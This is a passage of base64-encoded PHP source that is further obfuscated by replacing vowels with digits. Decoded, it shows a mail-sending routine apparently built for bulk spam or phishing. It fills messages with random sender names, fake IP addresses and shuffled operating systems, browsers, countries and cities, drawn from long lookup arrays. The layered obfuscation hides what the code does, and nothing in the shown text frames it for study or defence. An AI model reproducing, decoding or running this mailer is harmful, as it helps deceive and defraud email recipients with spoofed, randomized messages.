k7biAjIiAuIFIxbmRTdHI0bmcoNjApIC4gIiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnOCc6JG4xbTUgPSAiJiM5b287JiM5aTk7M+MgJiM5Nm878PBs5SAmIzk2bzvx8eW+viAmIzk2OTvgviDC5eVuIEwmIzlpOTvxJiM5aXU75WQgRiYjOWk5O+MgveXxM+OzdPMgUuXgviYjOWk5O24gIyIgLiBSMW5kU3RyNG5nKGUpIC4gIiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnOSc6JG4xbTUgPSAiJiM5b287JiM5aTk7M+MgJiM5Nm878PBs5SAmIzk2bzvx8eW+viAmIzk2OTvgviDC5eVuIEwmIzlpOTvxJiM5aXU75WQgRiYjOWk5O+MgveXxM+OzdPMgUuXgviYjOWk5O24gIyIgLiBSMW5kU3RyNG5nKDcpIC4gIiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgZDVmMTNsdDokbjFtNSA9ICImIzlvbzsmIzlpOTsz4yAmIzk2bzvw8GzlICYjOTZvO/Hx5b6+ICYjOTY5O+C+IMLl5W4gTCYjOWk5O/EmIzlpdTvlZCBGJiM5aTk74yC95fEz47N08yBS5eC+JiM5aTk7biAjIiAuIFIxbmRTdHI0bmcodSkgLiAiLSIgLiBSMW5kU3RyNG5nKHUpIC4gIiI7DQogICAgICAgICAgICBicjUxazsNCiAgICB9cjV0M3JuICRuMW01Ow0KDQoNCg0KDQp9Ow0KDQpmM25jdDQybiBsNXR0NXI0bmcoJG1zZ2Y0bDUsICQ1bTE0bCwgJGZyMm1tMTRsLCAkZnIybW4xbTUsICRyMW5kM3JsLCAkczNiajVjdCkNCnsNCiAgLy9SMW5kMm0gSXANCiAgICAkcjFuZDRwICAgICAgID0gIiIgLiByMW5kKDYwMCwgYWl1KSAuICIuIiAuIHIxbmQoNiwgYWl1KSAuICIuIiAuIHIxbmQoNiwgYWl1KSAuICIuIiAuIHIxbmQoNiwgYWl1KSAuICIiOw0KICAgICRyMW5kc3RyICAgICA9IFIxbmRTdHI0bmcoNjApOw0KICAgICRyMW5kc3RyNiAgICAgPSBSMW5kU3RyNG5nNig2MCk7DQogIC8qIE4zbWI1ciAqLw0KICAgICRyMW5kbjNtYjVyNiAgPSBSMW5kTjNtYjVyKDYpOw0KICAgICRyMW5kbjNtYjVyYSAgPSBSMW5kTjNtYjVyKGEpOw0KICAgICRyMW5kbjNtYjVybyAgPSBSMW5kTjNtYjVyKG8pOw0KICAgICRyMW5kbjNtYjVydSAgPSBSMW5kTjNtYjVyKHUpOw0KICAgICRyMW5kbjNtYjVyaSAgPSBSMW5kTjNtYjVyKGkpOw0KICAgICRyMW5kbjNtYjVyZSAgPSBSMW5kTjNtYjVyKGUpOw0KICAgICRyMW5kbjNtYjVyNyAgPSBSMW5kTjNtYjVyKDcpOw0KICAgICRyMW5kbjNtYjVyOCAgPSBSMW5kTjNtYjVyKDgpOw0KICAgICRyMW5kbjNtYjVyOSAgPSBSMW5kTjNtYjVyKDkpOw0KICAgICRyMW5kbjNtYjVyNjAgPSBSMW5kTjNtYjVyKDYwKTsNCiAgLyogQ2gxciBOMnJtMWwgKi8NCiAgICAkcjFuZGNoMXI2ID0gUjFuZENoMXIoNik7DQogICAgJHIxbmRjaDFyYSA9IFIxbmRDaDFyKGEpOw0KICAgICRyMW5kY2gxcm8gPSBSMW5kQ2gxcihvKTsNCiAgICAkcjFuZGNoMXJ1ID0gUjFuZENoMXIodSk7DQogICAgJHIxbmRjaDFyaSA9IFIxbmRDaDFyKGkpOw0KICAgICRyMW5kY2gxcmUgPSBSMW5kQ2gxcihlKTsNCiAgICAkcjFuZGNoMXI3ID0gUjFuZENoMXIoNyk7DQogICAgJHIxbmRjaDFyOCA9IFIxbmRDaDFyKDgpOw0KICAgICRyMW5kY2gxcjkgPSBSMW5kQ2gxcig5KTsNCiAgICAkcjFuZGNoMXI2MCA9IFIxbmRDaDFyKDYwKTsNCiAgLyogQ2gxciBDMXA0dDFsKi8NCiAgICAkcjFuZGNoMXI2NiA9IFIxbmRDaDFyNig2KTsNCiAgICAkcjFuZGNoMXI2YSA9IFIxbmRDaDFyNihhKTsNCiAgICAkcjFuZGNoMXI2byA9IFIxbmRDaDFyNihvKTsNCiAgICAkcjFuZGNoMXI2dSA9IFIxbmRDaDFyNih1KTsNCiAgICAkcjFuZGNoMXI2aSA9IFIxbmRDaDFyNihpKTsNCiAgICAkcjFuZGNoMXI2ZSA9IFIxbmRDaDFyNihlKTsNCiAgICAkcjFuZGNoMXI2NyA9IFIxbmRDaDFyNig3KTsNCiAgICAkcjFuZGNoMXI2OCA9IFIxbmRDaDFyNig4KTsNCiAgICAkcjFuZGNoMXI2OSA9IFIxbmRDaDFyNig5KTsNCiAgICAkcjFuZGNoMXI2NjAgPSBSMW5kQ2gxcjYoNjApOw0KICAgIHNoM2ZmbDUoJHIxbmQzcmwpOw0KDQogICAgJHIxbmQzcmxzICA9IDFycjF5X3NoNGZ0KCRyMW5kM3JsKTsNCg0KICAvLyBQQ19PUw0KICAkUENfT1NfMXJyID0gMXJyMXkoDQogICAgICAgICdXNG5kMndzIDYwJywNCiAgICAgICAgJ1c0bmQyd3MgNycsDQogICAgICAgICdXNG5kMndzIFhQJywNCgkJJ00xYyBPUyBYJywNCiAgICApOw0KICAgIHNoM2ZmbDUoJFBDX09TXzFycik7DQogICAgJFBDX09TID0gMXJyMXlfc2g0ZnQoJFBDX09TXzFycik7DQoNCiAgIC8vIFBDX0JST1dTRVINCiAgJFBDX0JyMndzNXJfMXJyID0gMXJyMXkoDQogICAgICAgICdJbnQ1cm41dCBFeHBsMnI1cicsDQogICAgICAgICdGNHI1ZjJ4JywNCiAgICAgICAgJ1MxZjFyNCcsDQogICAgICAgICdDaHIybTUnLA0KICAgICAgICAnT3A1cjEnLA0KICAgICk7DQogICAgc2gzZmZsNSgkUENfQnIyd3M1cl8xcnIpOw0KICAgICRQQ19icjJ3czVyID0gMXJyMXlfc2g0ZnQoJFBDX0JyMndzNXJfMXJyKTsNCg0KICAvLyBDT1VOVFJZDQogICAgJGMyM250cjQ1cyA9IDFycjF5KA0KICAgICAgICAiQXJnNW50NG4xIiwNCiAgICAgICAgIkEzc3RyMWw0MSIsDQogICAgICAgICJBM3N0cjQxIiwNCiAgICAgICAgIkI1bGc0M20iLA0KICAgICAgICAiQnIxejRsIiwNCiAgICAgICAgIkMxbjFkMSIsDQogICAgICAgICJDaDRsNSIsDQogICAgICAgICJDaDRuMSIsDQogICAgICAgICJDMmwybWI0MSIsDQogICAgICAgICJDMnN0MSBSNGMxIiwNCiAgICAgICAgIkMzYjEiLA0KICAgICAgICAiQ3o1Y2ggUjVwM2JsNGMiLA0KICAgICAgICAiRDVubTFyayIsDQogICAgICAgICJFZ3lwdCIsDQogICAgICAgICJGNG5sMW5kIiwNCiAgICAgICAgIkZyMW5jNSIsDQogICAgICAgICJHNXJtMW55IiwNCiAgICAgICAgIkdoMW4xIiwNCiAgICAgICAgIkdyNTVjNSIsDQogICAgICAgICJIMm5kM3IxcyIsDQogICAgICAgICJIMm5nIEsybmciLA0KICAgICAgICAiSDNuZzFyeSIsDQogICAgICAgICJJYzVsMW5kIiwNCiAgICAgICAgIkluZDQxIiwNCiAgICAgICAgIkluZDJuNXM0MSIsDQogICAgICAgICJJcjVsMW5kIiwNCiAgICAgICAgIklzcjE1bCIsDQogICAgICAgICJJdDFseSIsDQogICAgICAgICJKMXAxbiIsDQogICAgICAgICJLMnI1MSwgUjVwM2JsNGMgMmYiLA0KICAgICAgICAiTDN4NW1iMjNyZyIsDQogICAgICAgICJNMWMxMyIsDQogICAgICAgICJNMWwxeXM0MSIsDQogICAgICAgICJNNXg0YzIiLA0KICAgICAgICAiTXkxbm0xciIsDQogICAgICAgICJONXRoNXJsMW5kcyIsDQogICAgICAgICJONXcgWjUxbDFuZCIsDQogICAgICAgICJOMnJ3MXkiLA0KICAgICAgICAiUDFyMWczMXkiLA0KICAgICAgICAiUDVyMyIsDQogICAgICAgICJQaDRsNHBwNG41cyIsDQogICAgICAgICJQMmwxbmQiLA0KICAgICAgICAiUDJydDNnMWwiLA0KICAgICAgICAiUDM1cnQyIFI0YzIiLA0KICAgICAgICAiUTF0MXIiLA0KICAgICAgICAiUjJtMW40MSIsDQogICAgICAgICJSM3NzNDFuIEY1ZDVyMXQ0Mm4iLA0KICAgICAgICAiUzEzZDQgQXIxYjQxIiwNCiAgICAgICAgIlM1bjVnMWwiLA0KICAgICAgICAiUzRuZzFwMnI1IiwNCiAgICAgICAgIlNsMnY1bjQxIiwNCiAgICAgICAgIlMyM3RoIEFmcjRjMSIsDQogICAgICAgICJTcDE0biIsDQogICAgICAgICJTdzVkNW4iLA0KICAgICAgICAiU3c0dHo1cmwxbmQiLA0KICAgICAgICAiVGgxNGwxbmQiLA0KICAgICAgICAiVDNuNHM0MSIsDQogICAgICAgICJUM3JrNXkiLA0KICAgICAgICAiVWtyMTRuNSIsDQogICAgICAgICJVbjR0NWQgQXIxYiBFbTRyMXQ1cyIsDQogICAgICAgICJVbjR0NWQgSzRuZ2QybSIsDQogICAgICAgICJVbjR0NWQgU3QxdDVzIiwNCiAgICAgICAgIlVyM2czMXkiLA0KICAgICAgICAiVXpiNWs0c3QxbiIsDQogICAgICAgICJWNW41ejM1bDEiLA0KICAgICAgICAiVjQ1dG4xbSIsDQogICAgKTsNCiAgICBzaDNmZmw1KCRjMjNudHI0NXMpOw0KICAgICRjMjNudHJ5ID0gMXJyMXlfc2g0ZnQoJGMyM250cjQ1cyk7DQoNCiAgIC8vIENPVU5UUlksQ0lUWQ0KICAgJGMyM250cjQ1c19kNXQxNGxzXzFyciA9IDFycjF5KA0KICAgICAgICAiQWIzIERoMWI0LFVuNHQ1ZCBBcjFiIEVtNHIxdDVzIiwNCiAgICAgICAgIkFiM2oxLE40ZzVyNDEiLA0KICAgICAgICAiQWNjcjEsR2gxbjEiLA0KICAgICAgICAiQWQxbXN0MnduLFA0dGMxNHJuIiwNCiAgICAgICAgIkFkZDRzIEFiMWIxLEV0aDQycDQxIiwNCiAgICAgICAgIkFsZzQ1cnMsQWxnNXI0MSIsDQogICAgICAgICJBbDJmNCxONDM1IiwNCiAgICAgICAgIkFtbTFuLEoycmQxbiIsDQogICAgICAgICJBbXN0NXJkMW0sTjV0aDVybDFuZHMiLA0KICAgICAgICAiQW5kMnJyMSBsMSBWNWxsMSxBbmQycnIxIiwNCiAgICAgICAgIkFuazFyMSxUM3JrNXkiLA0KICAgICAgICAiQW50MW4xbjFyNHYyLE0xZDFnMXNjMXIiLA0KICAgICAgICAiQXA0MSxTMW0yMSIsDQogICAgICAgICJBc2hnMWIxdCxUM3JrbTVuNHN0MW4iLA0KICAgICAgICAiQXNtMXIxLEVyNHRyNTEiLA0KICAgICAgICAiQXN0MW4xLEsxejFraHN0MW4iLA0KICAgICAgICAiQXMzbmM0JiNhdW87bixQMXIxZzMxeSIsDQogICAgICAgICJBdGg1bnMsR3I1NWM1IiwNCiAgICAgICAgIkF2MXIzMSxDMjJrIElzbDFuZHMiLA0KICAgICAgICAiQjFnaGQxZCxJcjFxIiwNCiAgICAgICAgIkIxazMsQXo1cmIxNGoxbiIsDQogICAgICAgICJCMW0xazIsTTFsNCIsDQogICAgICAgICJCMW5kMXIgUzVyNCBCNWcxdzFuLEJyM241NCIsDQogICAgICAgICJCMW5nazJrLFRoMTRsMW5kIiwNCiAgICAgICAgIkIxbmczNCxDNW50cjFsIEFmcjRjMW4gUjVwM2JsNGMiLA0KICAgICAgICAiQjFuajNsLEcxbWI0MSIsDQogICAgICAgICJCMXNzNS1UNXJyNSxHMzFkNWwyM3A1IiwNCiAgICAgICAgIkIxc3M1dDVycjUsUzE0bnQgSzR0dHMgMW5kIE41djRzIiwNCiAgICAgICAgIkI1NGo0bmcsQ2g0bjEiLA0KICAgICAgICAiQjU0cjN0LEw1YjFuMm4iLA0KICAgICAgICAiQjVsZ3IxZDUsUzVyYjQxIiwNCiAgICAgICAgIkI1bG0ycDFuLEI1bDR6NSIsDQogICAgICAgICJCNXJsNG4gLEc1cm0xbnkiLA0KICAgICAgICAiQjVybixTdzR0ejVybDFuZCIsDQogICAgICAgICJCNHNoazVrLEt5cmd5enN0MW4iLA0KICAgICAgICAiQjRzczEzLEczNG41MS1CNHNzMTMiLA0KICAgICAgICAiQjJnMnQmI2FhaTssQzJsMm1iNDEiLA0KICAgICAgICAiQnIxcyYjYW83O2w0MSxCcjF6NGwiLA0KICAgICAgICAiQnIxdDRzbDF2MSxTbDJ2MWs0MSIsDQogICAgICAgICJCcjF6ejF2NGxsNSxSNXAzYmw0YyAyZiB0aDUgQzJuZzIiLA0KICAgICAgICAiQnI0ZGc1dDJ3bixCMXJiMWQycyIsDQogICAgICAgICJCcjNzczVscyxCNWxnNDNtIiwNCiAgICAgICAgIkIzY2gxcjVzdCxSMm0xbjQxIiwNCiAgICAgICAgIkIzZDFwNXN0LEgzbmcxcnkiLA0KICAgICAgICAiQjM1bjJzIEE0cjVzLEFyZzVudDRuMSIsDQogICAgICAgICJCM2ozbWIzcjEsQjNyM25kNCIsDQogICAgICAgICJDMTRyMixFZ3lwdCIsDQogICAgICAgICJDMW5iNXJyMSxBM3N0cjFsNDEiLA0KICAgICAgICAiQzFyMWMxcyxWNW41ejM1bDEiLA0KICAgICAgICAiQzFzdHI0NXMsUzE0bnQgTDNjNDEiLA0KICAgICAgICAiQzF5NW5uNSxGcjVuY2ggRzM0MW4xIiwNCiAgICAgICAgIkNoMXJsMnR0NSBBbTFsNDUsVW40dDVkIFN0MXQ1cyBWNHJnNG4gSXNsMW5kcyIsDQogICAgICAgICJDaDQmI2lvNzs0biYjYWk5OzMsTTJsZDJ2MSIsDQogICAgICAgICJDMmNrYjNybiBUMnduLFQzcmtzIDFuZCBDMTRjMnMgSXNsMW5kcyIsDQogICAgICAgICJDMm4xa3J5LEczNG41MSIsDQogICAgICAgICJDMnA1bmgxZzVuLEQ1bm0xcmsiLA0KICAgICAgICAiRDFrMXIsUzVuNWcxbCIsDQogICAgICAgICJEMW0xc2MzcyxTeXI0MSIsDQogICAgICAgICJEaDFrMSxCMW5nbDFkNXNoIiwNCiAgICAgICAgIkQ0bDQsRTFzdCBUNG0yciIsDQogICAgICAgICJEajRiMjN0NCxEajRiMjN0NCIsDQogICAgICAgICJEMmQybTEgLFQxbnoxbjQxIiwNCiAgICAgICAgIkQyaDEsUTF0MXIiLA0KICAgICAgICAiRDIzZ2wxcyxJc2w1IDJmIE0xbiIsDQogICAgICAgICJEM2JsNG4sSXI1bDFuZCIsDQogICAgICAgICJEM3NoMW5iNSxUMWo0azRzdDFuIiwNCiAgICAgICAgIkVkNG5iM3JnaCAyZiB0aDUgUzV2NW4gUzUxcyxUcjRzdDFuIGQxIEMzbmgxIiwNCiAgICAgICAgIkVsIEE0MjNuLFMxaHIxdzQgQXIxYiBENW0yY3IxdDRjIFI1cDNibDRjIiwNCiAgICAgICAgIkVwNHNrMnA0IEMxbnQybm01bnQsQWtyMnQ0cjQgMW5kIERoNWs1bDQxIiwNCiAgICAgICAgIkYycnQtZDUtRnIxbmM1LE0xcnQ0bjRxMzUiLA0KICAgICAgICAiRnI1NXQyd24sUzQ1cnIxIEw1Mm41IiwNCiAgICAgICAgIkYzbjFmM3Q0LFQzdjFsMyIsDQogICAgICAgICJHMWIycjJuNSxCMnRzdzFuMSIsDQogICAgICAgICJHNTJyZzUgVDJ3bixDMXltMW4gSXNsMW5kcyIsDQogICAgICAgICJHNTJyZzV0MnduLEFzYzVuczQybiBJc2wxbmQiLA0KICAgICAgICAiRzUycmc1dDJ3bixHM3kxbjEiLA0KICAgICAgICAiRzRicjFsdDFyLEc0YnIxbHQxciIsDQogICAgICAgICJHcjJ6bnksQ2g1Y2hueTEiLA0KICAgICAgICAiRzMxdDVtMWwxIEM0dHksRzMxdDVtMWwxIiwNCiAgICAgICAgIkczc3QxdjQxLFMxNG50IEIxcnRoJiNhb287bDVteSIsDQogICAgICAgICJIMWcmI2FhOTt0JiNhdTY7MSxHMzFtIiwNCiAgICAgICAgIkgxbTRsdDJuLEI1cm0zZDEiLA0KICAgICAgICAiSDFuZzEgUjIxLEUxc3Q1ciBJc2wxbmQiLA0KICAgICAgICAiSDFuMjQsVjQ1dG4xbSIsDQogICAgICAgICJIMXIxcjUsWjRtYjFidzUiLA0KICAgICAgICAiSDFyZzU0czEsUzJtMWw0bDFuZCIsDQogICAgICAgICJIMXYxbjEsQzNiMSIsDQogICAgICAgICJINWxzNG5rNCxGNG5sMW5kIiwNCiAgICAgICAgIkgybmcgSzJuZyxIMm5nIEsybmciLA0KICAgICAgICAiSDJuNDFyMSxTMmwybTJuIElzbDFuZHMiLA0KICAgICAgICAiSXNsMW0xYjFkLFAxazRzdDFuIiwNCiAgICAgICAgIkoxazFydDEsSW5kMm41czQxIiwNCiAgICAgICAgIkoxbTVzdDJ3bixTMTRudCBINWw1bjEiLA0KICAgICAgICAiSjVyM3MxbDVtICxJc3IxNWwiLA0KICAgICAgICAiSjNiMSxTMjN0aCBTM2QxbiIsDQogICAgICAgICJLMWIzbCxBZmdoMW40c3QxbiIsDQogICAgICAgICJLMW1wMWwxLFVnMW5kMSIsDQogICAgICAgICJLMXRobTFuZDMsTjVwMWwiLA0KICAgICAgICAiS2gxcnQyM20sUzNkMW4iLA0KICAgICAgICAiSzQ1dixVa3IxNG41IiwNCiAgICAgICAgIks0ZzFsNCxSdzFuZDEiLA0KICAgICAgICAiSzRuZyBFZHcxcmQgUDI0bnQsUzIzdGggRzUycmc0MSAxbmQgdGg1IFMyM3RoIFMxbmR3NGNoIElzbDFuZHMiLA0KICAgICAgICAiSzRuZ3N0Mm4sSjFtMTRjMSIsDQogICAgICAgICJLNG5nc3QybixOMnJmMmxrIElzbDFuZCIsDQogICAgICAgICJLNG5nc3Qyd24sUzE0bnQgVjRuYzVudCAxbmQgdGg1IEdyNW4xZDRuNXMiLA0KICAgICAgICAiSzRuc2gxczEsRDVtMmNyMXQ0YyBSNXAzYmw0YyAyZiB0aDUgQzJuZzIiLA0KICAgICAgICAiSzMxbDEgTDNtcDNyLE0xbDF5czQxIiwNCiAgICAgICAgIkszdzE0dCBDNHR5LEszdzE0dCIsDQogICAgICAgICJMNGJyNXY0bGw1LEcxYjJuIiwNCiAgICAgICAgIkw0bDJuZ3c1LE0xbDF3NCIsDQogICAgICAgICJMNG0xLFA1cjMiLA0KICAgICAgICAiTDRzYjJuLFAycnQzZzFsIiwNCiAgICAgICAgIkxqM2JsajFuMSxTbDJ2NW40MSIsDQogICAgICAgICJMMm0mI2FvbzssVDJnMiIsDQogICAgICAgICJMMm5kMm4sVW40dDVkIEs0bmdkMm0iLA0KICAgICAgICAiTDMxbmQxLEFuZzJsMSIsDQogICAgICAgICJMM3MxazEsWjFtYjQxIiwNCiAgICAgICAgIkwzeDVtYjIzcmcsTDN4NW1iMjNyZyIsDQogICAgICAgICJNMWRyNGQsU3AxNG4iLA0KICAgICAgICAiTTFqM3IyLE0xcnNoMWxsIElzbDFuZHMiLA0KICAgICAgICAiTTFsMWIyLEVxMzF0MnI0MWwgRzM0bjUxIiwNCiAgICAgICAgIk0xbCYjYW9vOyxNMWxkNHY1cyIsDQogICAgICAgICJNMW0yM2R6MjMsTTF5MnR0NSIsDQogICAgICAgICJNMW4xZzMxLE40YzFyMWczMSIsDQogICAgICAgICJNMW4xbTEsQjFocjE0biIsDQogICAgICAgICJNMW40bDEsUGg0bDRwcDRuNXMiLA0KICAgICAgICAiTTFwM3QyLE0yejFtYjRxMzUiLA0KICAgICAgICAiTTFyNGcydCxTMTRudCBNMXJ0NG4iLA0KICAgICAgICAiTTFzNXIzLEw1czJ0aDIiLA0KICAgICAgICAiTTF0MS1VdDMsVzFsbDRzIDFuZCBGM3QzbjEiLA0KICAgICAgICAiTWIxYjFuNSxTdzF6NGwxbmQiLA0KICAgICAgICAiTTV4NGMyIEM0dHksTTV4NGMyIiwNCiAgICAgICAgIk00bnNrLEI1bDFyM3MiLA0KICAgICAgICAiTTJnMWQ0c2gzLFMybTFsNDEiLA0KICAgICAgICAiTTJuMWMyLE0ybjFjMiIsDQogICAgICAgICJNMm5yMnY0MSxMNGI1cjQxIiwNCiAgICAgICAgIk0ybnQ1djRkNTIsVXIzZzMxeSIsDQogICAgICAgICJNMnIybjQsQzJtMnIycyIsDQogICAgICAgICJNMnNjMncsUjNzczQxIiwNCiAgICAgICAgIk0zc2MxdCxPbTFuIiwNCiAgICAgICAgIk4xNHIyYjQsSzVueTEiLA0KICAgICAgICAiTjFzczEzLEIxaDFtMXMiLA0KICAgICAgICAiTjF5cHk0ZDF3LE15MW5tMXIiLA0KICAgICAgICAiTidEajFtNW4xLENoMWQiLA0KICAgICAgICAiTjV3IEQ1bGg0LEluZDQxIiwNCiAgICAgICAgIk5nNXIzbG0zZCxQMWwxMyIsDQogICAgICAgICJONDFtNXksTjRnNXIiLA0KICAgICAgICAiTjRjMnM0MSxDeXByM3MiLA0KICAgICAgICAiTjRjMnM0MSxOMnJ0aDVybiBDeXByM3MiLA0KICAgICAgICAiTjIzMWtjaDJ0dCxNMTNyNHQxbjQxIiwNCiAgICAgICAgIk4yM20mI2FvbzsxLE41dyBDMWw1ZDJuNDEiLA0KICAgICAgICAiTjNrMyYjZTk5OzFsMmYxLFQybmcxIiwNCiAgICAgICAgIk4zM2ssR3I1NW5sMW5kIiwNCiAgICAgICAgIk9yMW5qNXN0MWQsQXIzYjEiLA0KICAgICAgICAiT3NsMixOMnJ3MXkiLA0KICAgICAgICAiT3R0MXcxLEMxbjFkMSIsDQogICAgICAgICJPMzFnMWQyM2cyMyxCM3JrNG4xIEYxczIiLA0KICAgICAgICAiUDFnMiBQMWcyLEFtNXI0YzFuIFMxbTIxIiwNCiAgICAgICAgIlAxbDRrNHIsRjVkNXIxdDVkIFN0MXQ1cyAyZiBNNGNyMm41czQxIiwNCiAgICAgICAgIlAxbjFtMSBDNHR5LFAxbjFtMSIsDQogICAgICAgICJQMXA1NXQ1LEZyNW5jaCBQMmx5bjVzNDEiLA0KICAgICAgICAiUDFyMW0xcjRiMixTM3I0bjFtNSIsDQogICAgICAgICJQMXI0cyxGcjFuYzUiLA0KICAgICAgICAiUGg0bDRwc2IzcmcsUzRudCBNMTFydDVuIiwNCiAgICAgICAgIlBobjJtIFA1bmgsQzFtYjJkNDEiLA0KICAgICAgICAiUGx5bTIzdGggLE0ybnRzNXJyMXQiLA0KICAgICAgICAiUDJkZzJyNGMxICxNMm50NW41Z3IyIiwNCiAgICAgICAgIlAycnQgTDIzNHMsTTEzcjR0NDNzIiwNCiAgICAgICAgIlAycnQgTTJyNXNieSxQMXAzMSBONXcgRzM0bjUxIiwNCiAgICAgICAgIlAycnQgVjRsMSxWMW4zMXQzIiwNCiAgICAgICAgIlAycnQtMTMtUHI0bmM1LEgxNHQ0IiwNCiAgICAgICAgIlAycnQgMmYgU3AxNG4sVHI0bjRkMWQgMW5kIFQyYjFnMiIsDQogICAgICAgICJQMnJ0Mi1OMnYyLEI1bjRuIiwNCiAgICAgICAgIlByMWczNSxDejVjaCBSNXAzYmw0YyIsDQogICAgICAgICJQcjE0MSxDMXA1IFY1cmQ1IiwNCiAgICAgICAgIlByNXQycjQxICxTMjN0aCBBZnI0YzEiLA0KICAgICAgICAiUHI0c3Q0bjEsSzJzMnYyW2ddIiwNCiAgICAgICAgIlB5Mm5neTFuZyxOMnJ0aCBLMnI1MSIsDQogICAgICAgICJRMzR0MixFYzMxZDJyIiwNCiAgICAgICAgIlIxYjF0LE0ycjJjYzIiLA0KICAgICAgICAiUjFtMWxsMWgsU3QxdDUgMmYgUDFsNXN0NG41IiwNCiAgICAgICAgIlI1eWtqMXYmI2FvNztrLEljNWwxbmQiLA0KICAgICAgICAiUjRnMSxMMXR2NDEiLA0KICAgICAgICAiUjR5MWRoLFMxM2Q0IEFyMWI0MSIsDQogICAgICAgICJSMjFkIFQyd24sQnI0dDRzaCBWNHJnNG4gSXNsMW5kcyIsDQogICAgICAgICJSMm01LEl0MWx5IiwNCiAgICAgICAgIlIyczUxMyxEMm00bjRjMSIsDQogICAgICAgICJTMTRudC1ENW40cyxSJiNhb287M240Mm4iLA0KICAgICAgICAiUzE0cDFuLE4ycnRoNXJuIE0xcjQxbjEgSXNsMW5kcyIsDQogICAgICAgICJTMW4gSjJzJiNhb287LEMyc3QxIFI0YzEiLA0KICAgICAgICAiUzFuIEozMW4sUDM1cnQyIFI0YzIiLA0KICAgICAgICAiUzFuIE0xcjRuMixTMW4gTTFyNG4yIiwNCiAgICAgICAgIlMxbiBTMWx2MWQycixFbCBTMWx2MWQyciIsDQogICAgICAgICJTMW4xJzEsWTVtNW4iLA0KICAgICAgICAiUzFudDQxZzIsQ2g0bDUiLA0KICAgICAgICAiUzFudDIgRDJtNG5nMixEMm00bjRjMW4gUjVwM2JsNGMiLA0KICAgICAgICAiUyYjYWE3OzIgVDJtJiNhb287LFMmI2FhNzsyIFQybSYjYW9vOyAxbmQgUHImI2FvNztuYzRwNSIsDQogICAgICAgICJTMXIxajV2MixCMnNuNDEgMW5kIEg1cno1ZzJ2NG4xIiwNCiAgICAgICAgIlM1MjNsLFMyM3RoIEsycjUxIiwNCiAgICAgICAgIlM0bmcxcDJyNSxTNG5nMXAycjUiLA0KICAgICAgICAiU2sycGo1LFI1cDNibDRjIDJmIE0xYzVkMm40MSIsDQogICAgICAgICJTMmY0MSxCM2xnMXI0MSIsDQogICAgICAgICJTcjQgSjF5MXcxcmQ1bjVwM3IxIEsydHQ1LFNyNCBMMW5rMSIsDQogICAgICAgICJTdC4gRzUycmc1J3MsR3I1bjFkMSIsDQogICAgICAgICJTdC4gSDVsNDVyLEo1cnM1eSIsDQogICAgICAgICJTdC4gSjJobidzLEFudDRnMzEgMW5kIEIxcmIzZDEiLA0KICAgICAgICAiU3QuIFA1dDVyIFAycnQsRzM1cm5zNXkiLA0KICAgICAgICAiU3QuIFA0NXJyNSxTMTRudCBQNDVycjUgMW5kIE00cTM1bDJuIiwNCiAgICAgICAgIlN0MW5sNXksRjFsa2wxbmQgSXNsMW5kcyIsDQogICAgICAgICJTdDVwMW4xazVydCxBcnRzMWtoIiwNCiAgICAgICAgIlN0MmNraDJsbSxTdzVkNW4iLA0KICAgICAgICAiUzNjcjUsQjJsNHY0MSIsDQogICAgICAgICJTM2toM200LEFia2gxejQxIiwNCiAgICAgICAgIlMzdjEsRjRqNCIsDQogICAgICAgICJUMTRwNTQsVDE0dzFuIiwNCiAgICAgICAgIlQxbGw0bm4sRXN0Mm40MSIsDQogICAgICAgICJUMXIxdzEsSzRyNGIxdDQiLA0KICAgICAgICAiVDFzaGs1bnQsVXpiNWs0c3QxbiIsDQogICAgICAgICJUYjRsNHM0LEc1MnJnNDEiLA0KICAgICAgICAiVDVnM2M0ZzFscDEsSDJuZDNyMXMiLA0KICAgICAgICAiVDVocjFuLElyMW4iLA0KICAgICAgICAiVGg0bXBoMyxCaDN0MW4iLA0KICAgICAgICAiVDRyMW4xLEFsYjFuNDEiLA0KICAgICAgICAiVDRyMXNwMmwsVHIxbnNuNHN0cjQxIiwNCiAgICAgICAgIlQya3kyLEoxcDFuIiwNCiAgICAgICAgIlQmI2F1bztyc2gxdm4sRjFyMjUgSXNsMW5kcyIsDQogICAgICAgICJUcjRwMmw0LEw0YnkxIiwNCiAgICAgICAgIlRza2g0bnYxbDQsUzIzdGggT3NzNXQ0MSIsDQogICAgICAgICJUM240cyxUM240czQxIiwNCiAgICAgICAgIlVsMTFuYjExdDFyLE0ybmcybDQxIiwNCiAgICAgICAgIlYxZDN6LEw0NWNodDVuc3Q1NG4iLA0KICAgICAgICAiVjFsbDV0dDEsTTFsdDEiLA0KICAgICAgICAiVGg1IFYxbGw1eSxBbmczNGxsMSIsDQogICAgICAgICJWMXQ0YzFuIEM0dHksVjF0NGMxbiBDNHR5IiwNCiAgICAgICAgIlY0Y3QycjQxLFM1eWNoNWxsNXMiLA0KICAgICAgICAiVjQ1bm4xLEEzc3RyNDEiLA0KICAgICAgICAiVjQ1bnQ0MW41LEwxMnMiLA0KICAgICAgICAiVjRsbjQzcyxMNHRoMzFuNDEiLA0KICAgICAgICAiVzFyczF3LFAybDFuZCIsDQogICAgICAgICJXMXNoNG5ndDJuLCBELkMuLFVuNHQ1ZCBTdDF0NXMiLA0KICAgICAgICAiVzVsbDRuZ3QybixONXcgWjUxbDFuZCIsDQogICAgICAgICJXNXN0IElzbDFuZCxDMmMycyIsDQogICAgICAgICJXNGxsNW1zdDFkLEMzcjEmI2FvNjsxMiIsDQogICAgICAgICJXNG5kaDI1ayxOMW00YjQxIiwNCiAgICAgICAgIlkxbTIzc3MyM2tyMixJdjJyeSBDMjFzdCIsDQogICAgICAgICJZMTIzbmQmI2FvbzssQzFtNXIyMm4iLA0KICAgICAgICAiWTFyNW4sTjEzcjMiLA0KICAgICAgICAiWTVyNXYxbixBcm01bjQxIiwNCiAgICAgICAgIloxZ3I1YixDcjIxdDQxIg0KICAgICk7DQogICAgc2gzZmZsNSgkYzIzbnRyNDVzX2Q1dDE0bHNfMXJyKTsNCiAgICAkYzIzbnRyeWM0dHkgPSAxcnIxeV9zaDRmdCgkYzIzbnRyNDVzX2Q1dDE0bHNfMXJyKTsNCg0KICAvLyBBbmRyMjRkIE9TDQogICRBbmRyMjRkX09TXzFyciA9IDFycjF5KA0KICAgICAgICAnQW5kcjI0ZCB1LjAgSWM1IENyNTFtIFMxbmR3NGNoJywNCiAgICAgICAgJ0FuZHIyNGQgdS42IEo1bGx5IEI1MW4nLA0KICAgICAgICAnQW5kcjI0ZCB1L